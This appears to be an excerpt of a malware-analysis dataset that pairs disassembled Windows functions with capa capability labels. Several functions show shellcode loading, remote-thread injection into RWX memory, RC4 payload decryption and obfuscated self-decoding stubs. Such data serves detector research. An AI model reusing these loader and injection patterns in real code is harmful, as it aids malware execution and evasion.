joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40190b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x20c
mov eax, dword [0x425040]
xor eax, esp
mov dword [esp + 0x204], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x10], cl
push 0x32
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x479eb0]
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, ebp
jl 0x40192c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x10]
movzx eax, byte [esp + esi + 0x110]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x401972
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + esi + 0x10], al
inc esi
mov byte [esp + ebx + 0x10], dl
cmp esi, ebp
jl 0x40194f
mov ebx, edi
mov ebp, edi
inc edi
and edi, 0x800000ff
jns 0x401998
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x10]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x4019b1
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + edi + 0x10], al
mov byte [esp + ebx + 0x10], cl
call fcn.00401f03
push eax
call fcn.004020c6
movzx eax, byte [esp + edi + 0x14]
add eax, esi
movzx eax, al
pop ecx
mov al, byte [esp + eax + 0x10]
xor byte [ebp + section..Right], al
inc ebp
cmp ebp, 0x52a00
jl 0x401987
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004047e0
add esp, 0x20c
ret

Function at 0x401c18
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x425040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x422e88
lea ecx, [ebp - 0x1c]
call fcn.00401d07
push 0xc
call fcn.004047f3
pop ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004019ff
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x479a00
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
xor eax, eax
push eax
push eax
push eax
push 0x401bdd
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ecx
push ecx
call fcn.0040190b
pop ecx
pop ecx
mov edx, 0x479a00
add edx, 0x188
mov esi, section..Right
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00401d94
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004047e0
leave
ret

Function at 0x404f90
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x404fcf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404fcf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404fcf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404fcf
cmp dword [ecx + 0x74], 0xe
jbe 0x404fcf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x41541c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4154b9
push ebx
push esi
call fcn.004153e5
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00414067
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x415466
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4154b8
push edi
push eax
call fcn.0040fb5f
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x415486
call fcn.0040eb82
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4154b7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00414067
add esp, 0x20
test eax, eax
jne 0x4154a5
push edi
call fcn.0040eb82
jmp 0x4154ad
push ebx
call fcn.0040eb82
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x41b080
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41b0ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41b0ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x405d43
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x405d52
pop dword [ebp - 0x30]
mov eax, 0xedd46cc2
add eax, 0x126bf090
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0xd122707b
sub dword [ebp - 0x40], 0x82d02b30
mov dword [ebp - 0x3c], 0xd9d00dc7
add dword [ebp - 0x3c], 0x58633e7e
mov dword [ebp - 0x38], 0xe7a94002
add dword [ebp - 0x38], 0x64a3042c
mov dword [ebp - 0x34], 0x13bc0b75
add dword [ebp - 0x34], 0xec43f48b
lea eax, [ebp - 0x40]
push eax
mov eax, 0xef62b738
add eax, 0x10ddba0c
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xadd595b1
add dword [ebp - 0x40], 0xc69cd3a5
mov dword [ebp - 0x3c], 0x11d5799b
sub dword [ebp - 0x3c], 0xd0691826
mov dword [ebp - 0x38], 0xcad0e969
add dword [ebp - 0x38], 0x989e8303
mov dword [ebp - 0x34], 0x223076d5
add dword [ebp - 0x34], 0xddcf892b
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x34d8d
push 0
call eax
mov ecx, 0x749300af
add ecx, 0x8b6d3eea
mov ebx, eax
mov esi, 0x436000
add esi, dword [ebp - 0x30]
mov edi, 0x4a4e5ce7
sub dword [ebp - 0x24], esi
mov edx, dword [esi]
sub edx, edi
mov dword [ebx], edx
xor dword [ebp - 8], ebx
add ebx, 0x760c8d12
add ebx, 0x89f372f2
add esi, 0xcd0f5110
add esi, 0x32f0aef4
loop 0x405e63
add eax, 0xf137
xor ebx, ebx
add ebx, eax
add eax, 0xf33d54c7
sub eax, 0xf33d54c2
mov ecx, 0x1015c45f
sub ecx, 0xfd5c45f
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x406120
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x422af4], 0
push esi
jne 0x406157
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406131
mov dword [ecx*4 + 0x422af0], eax
inc ecx
cmp ecx, 0x100
jl 0x40612c
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406188
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x422af0]
xor eax, esi
inc ecx
dec edx
jne 0x40616a
pop edi
not eax
pop esi
ret 0xc
Function at 0x100090bd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x100090cc
pop dword [ebp - 0x20]
mov eax, 0x5cc3349e
add eax, 0xb33d5c2e
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xa3fb25d
sub dword [ebp - 0x30], 0xbbed6d12
mov dword [ebp - 0x2c], 0x7d7d4124
sub dword [ebp - 0x2c], 0x4b49f4df
mov dword [ebp - 0x28], 0x6bc4d97b
sub dword [ebp - 0x28], 0x1f78954d
mov dword [ebp - 0x24], 0x906142bf
add dword [ebp - 0x24], 0x6f9ebd41
lea eax, [ebp - 0x30]
push eax
mov eax, 0x4b192ed
sub eax, 0xf4aff2e5
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0xfb79e5e9
sub dword [ebp - 0x30], 0x87077c93
mov dword [ebp - 0x2c], 0x6b5ecb5
add dword [ebp - 0x2c], 0x3ab674c0
mov dword [ebp - 0x28], 0xa069e194
sub dword [ebp - 0x28], 0x3cfa7528
mov dword [ebp - 0x24], 0x1688c19c
add dword [ebp - 0x24], 0xe9773e64
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, 0x762666b2
add eax, 0x99db395a
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x3a789
push 0
call eax
mov ecx, 0xa7f2d52d
sub ecx, 0xa7f28c38
mov edi, eax
mov ebx, 0x4a8aa651
sub ebx, 0x3a885c51
add ebx, dword [ebp - 0x20]
mov edx, 0xcc204444
add edx, 0x4f2e5e92
sub dword [ebp - 0x10], 0x93c790cf
mov esi, dword [ebx]
sub dword [ebp - 0x1c], 0x5e06c3a3
sub esi, edx
xor dword [ebp - 0x18], 0x57f2229
mov dword [edi], esi
xor dword [ebp - 0x10], 0x3b1acf80
add edi, 0x3efd0d09
add edi, 0xc102f2fb
add ebx, 4
loop 0x100091ee
add eax, 0x3c2bc14d
add eax, 0xc3d5555a
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x2d0e59b1
add ecx, 0xe2f1a64f
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x401873
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
push ebx
push esi
push edi
mov esi, ecx
push dword [ebp + 0xc]
mov dword [esi + 0x70], 0x40b088
mov dword [0x40d778], esi
push dword [ebp + 8]
mov dword [esi], 0x84
mov dword [esi + 0x64], 0x300
push esi
call fcn.00401e62
xor ebx, ebx
cmp dword [ebp + 0x10], ebx
je 0x4018c0
push 0x10
push dword [ebp + 0x10]
push 0x40d768
call fcn.00403fa0
add esp, 0xc
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov edi, 0x94
mov dword [esi + 0x18], eax
push edi
lea eax, [ebp - 0xb8]
push ebx
push eax
call fcn.00403f40
add esp, 0xc
lea eax, [ebp - 0xb8]
mov dword [ebp - 0xb8], edi
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [ebp - 0xa8], 2
jne 0x401911
cmp dword [ebp - 0xb4], 5
jae 0x401967
mov eax, dword [ebp - 0x10]
cmp eax, 1
jbe 0x401967
or dword [esi + 0x74], 0xffffffff
add eax, eax
neg eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret

Function at 0x4019ef
Capabilities:
Enumerate pe sections

Disassembly:
dec esp
and al, 8
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x401a29
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x401a10
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x401a21
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x401a2b
inc edi
add eax, 0x28
cmp edi, esi
jb 0x401a06
xor eax, eax
pop edi
pop esi
ret

Function at 0x401d66
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
clc
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004019be
push eax
push esi
push dword [ebp + 8]
call fcn.00401973
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004019be
push eax
push esi
push dword [ebp + 8]
call fcn.00401973
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004019ae
adc dh, byte [edx]
xor esp, dword [ebp - 0x78]
popfd
jl 0x401e33
invalid
invalid
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x1000e6a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1000e6af
pop dword [ebp - 0x28]
mov eax, 0x625004b0
sub eax, 0x524f1e01
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xddf15ce1
sub dword [ebp - 0x38], 0x8f9f1796
mov dword [ebp - 0x34], 0x4dd0e4d4
add dword [ebp - 0x34], 0xe4626771
mov dword [ebp - 0x30], 0xac0c380
add dword [ebp - 0x30], 0x418b80ae
mov dword [ebp - 0x2c], 0xfafcd4a9
add dword [ebp - 0x2c], 0x5032b57
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xa18ab749
add dword [ebp - 0x38], 0xd2e7b20d
mov dword [ebp - 0x34], 0xc63497c4
sub dword [ebp - 0x34], 0x84c8364f
mov dword [ebp - 0x30], 0xb8e4435f
add dword [ebp - 0x30], 0xaa8b290d
mov dword [ebp - 0x2c], 0xb35ec418
sub dword [ebp - 0x2c], 0xb35ec418
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x546195ac
sub eax, 0x44603548
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x38533
push 0
call eax
mov ecx, 0x49f2
xor ebx, ebx
add ebx, eax
mov edx, 0x3686a573
sub edx, 0x26846f73
add edx, dword [ebp - 0x28]
mov edi, 0x5a758f1
sub edi, 0xcc2a50c7
xor dword [ebp - 0x10], 0x435b5af7
mov esi, dword [edx]
add dword [ebp - 0x1c], eax
sub esi, edi
sub dword [ebp - 0x24], 0x7e0cb4e8
mov dword [ebx], esi
sub dword [ebp - 0x10], eax
add ebx, 4
add edx, 4
loop 0x1000e7c8
add eax, 0x99048b35
sub eax, 0x9903709a
xor ebx, ebx
add ebx, eax
add eax, 0x2cee21ae
sub eax, 0x2cee21a9
mov ecx, 0x10000000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x4015a0
Capabilities:
Terminate process

Disassembly:
call fcn.00401940
jmp fcn.004012d0

Function at 0x4015b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403008]
jne 0x4015ba
repz ret
jmp fcn.004019f0
Function at 0x408769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40c190
cmp edx, dword [eax]
je 0x40878b
add eax, 8
inc ecx
cmp eax, 0x40c220
jl 0x40877c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40c190]
jne 0x4088b9
mov eax, dword [0x40cbb0]
cmp eax, 1
je 0x408893
test eax, eax
jne 0x4087bc
cmp dword [0x40c0e4], 1
je 0x408893
cmp edx, 0xfc
je 0x4088b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4087f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00409670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00409490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x408836
lea eax, [ebp - 0x1a4]
push eax
call fcn.00409490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b45c
push edi
call fcn.00409f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00409670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00409680
lea eax, [ebp - 0xa0]
push 0x40b43c
push eax
call fcn.00409680
push dword [esi + 0x40c194]
lea eax, [ebp - 0xa0]
push eax
call fcn.00409680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00409e75
add esp, 0x2c
pop edi
jmp 0x4088b9
lea eax, [ebp + 8]
lea esi, [esi + 0x40c194]
push 0
push eax
push dword [esi]
call fcn.00409490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x401781
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
xor ecx, ecx
mov cl, byte [eax]
cmp ecx, 0x22
jne 0x4017d3
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
xor ecx, ecx
mov cl, byte [eax]
cmp ecx, 0x22
je 0x4017bc
mov edx, dword [ebp - 4]
xor eax, eax
mov al, byte [edx]
test eax, eax
jne 0x40179c
mov ecx, dword [ebp - 4]
xor edx, edx
mov dl, byte [ecx]
cmp edx, 0x22
jne 0x4017d1
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x4017ea
mov ecx, dword [ebp - 4]
xor edx, edx
mov dl, byte [ecx]
cmp edx, 0x20
jle 0x4017ea
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x4017d3
mov ecx, dword [ebp - 4]
xor edx, edx
mov dl, byte [ecx]
test edx, edx
je 0x40180c
mov eax, dword [ebp - 4]
xor ecx, ecx
mov cl, byte [eax]
cmp ecx, 0x20
jg 0x40180c
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x4017ea
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
mov ecx, dword [ebp - 0x20]
and ecx, 1
test ecx, ecx
je 0x401835
mov edx, dword [ebp - 0x1c]
and edx, 0xffff
mov dword [ebp - 0x50], edx
jmp 0x40183c
mov dword [ebp - 0x50], 0xa
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x10006100
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1013a3ea
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x1019ca20]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
push 0
mov dword [ebp - 0x18], esi
call fcn.10101712
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
test edi, edi
jne 0x100061a6
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x14], 0x1018bd30
call fcn.10119e92
push 0x1018fcbc
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], vtable.std::runtime_error.0
call fcn.1012062b
push edi
push esi
call fcn.101015be
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10118be7
mov esp, ebp
pop ebp
ret 4
Function at 0x100084f0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1013a990
mov eax, dword fs:[0]
push eax
sub esp, 0xb0
mov eax, dword [0x1019ca20]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
push 0x10
push str.Az01YjVwQFez7HOA
lea ecx, [ebp - 0x2c]
mov dword [ebp - 4], 0
call fcn.100018c0
mov edi, dword [edi]
mov esi, dword [edi]
cmp esi, edi
je 0x100085fa
xor eax, eax
cmp dword [esi + 0x20], eax
lea edx, [esi + 0x10]
setne al
test eax, eax
sete al
test al, al
sete al
test al, al
je 0x100085af
lea eax, [edx + 0x18]
push eax
lea ecx, [ebp - 0x4c]
call fcn.100090b0
add esp, 4
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.100016f0
mov byte [ebp - 4], 0
cmp dword [ebp - 0x38], 0x10
jb 0x100085af
push dword [ebp - 0x4c]
call fcn.10119469
add esp, 4
cmp byte [esi + 0xd], 0
jne 0x100085f2
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
jne 0x100085d4
mov esi, eax
mov eax, dword [esi]
cmp byte [eax + 0xd], 0
jne 0x100085f2
mov esi, eax
mov eax, dword [esi]
cmp byte [eax + 0xd], 0
je 0x100085c8
jmp 0x100085f2
mov eax, dword [esi + 4]
cmp byte [eax + 0xd], 0
jne 0x100085f0
lea ecx, [ecx]
cmp esi, dword [eax + 8]
jne 0x100085f0
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x100085e0
mov esi, eax
cmp esi, edi
jne 0x10008561
push 0x10
push str.Az01YjVwQFez7HOA
lea ecx, [ebp - 0x2c]
call fcn.100015c0
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x1c]
cmp ecx, 0x10
lea edi, [ebp - 0x2c]
lea esi, [ebp - 0x2c]
cmovae edi, edx
cmovae esi, edx
add edi, ebx
cmp esi, edi
je 0x10008643
movsx eax, byte [esi]
push eax
call fcn.10119a73
mov byte [esi], al
inc esi
add esp, 4
cmp esi, edi
jne 0x10008627
mov ecx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
cmp ecx, 0x10
lea eax, [ebp - 0x2c]
cmovae eax, edx
push ebx
push eax
lea ecx, [ebp - 0xbc]
mov byte [ebp - 0xbc], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xb8], 0x67452301
mov dword [ebp - 0xb4], 0xefcdab89
mov dword [ebp - 0xb0], 0x98badcfe
mov dword [ebp - 0xac], 0x10325476
call fcn.10005570
mov ebx, dword [ebp - 0x30]
push ebx
lea ecx, [ebp - 0xbc]
call fcn.10005d20
cmp dword [ebp - 0x18], 0x10
jb 0x100086bc
push dword [ebp - 0x2c]
call fcn.10119469
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10118be7
mov esp, ebp
pop ebp
ret 4